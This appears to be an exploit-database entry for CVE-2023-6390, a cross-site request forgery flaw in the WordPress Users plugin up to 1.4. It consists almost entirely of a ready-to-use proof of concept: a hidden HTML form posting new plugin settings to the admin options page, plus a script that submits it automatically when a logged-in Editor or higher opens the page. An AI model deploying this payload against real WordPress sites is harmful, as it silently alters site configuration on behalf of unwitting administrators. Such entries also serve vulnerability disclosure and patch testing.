Exploit for WordPress Users <= 1.4 - Settings Update via CSRF CVE-2023-6390

## https://sploitus.com/exploit?id=WPEX-ID:A0CA68D3-F885-46C9-9F6B-B77AD387D25D
Create an HTML with the following and open it when logged in as an Editor or above:

<form action="https://example.com/wp-admin/options-general.php?page=wordpress-users/wp-users.php" method="POST">
    <input type="text" name="wpu_hidden" value="Y">
    <input type="text" name="wpu_page_id" value="1">
    <input type="text" name="wpu_users_per" value="10">
    <input type="text" name="wpu_roles_admin" value="yes">
    <input type="text" name="wpu_description_limit" value="">
    <input type="text" name="wpu_avatars" value="gravatars">
    <input type="text" name="wpu_gravatar_type" value="">
    <input type="text" name="wpu_gravatar_size" value="">
    <input type="text" name="Submit" value="Update Options">
</form>
<script>
    document.forms[0].submit();
</script>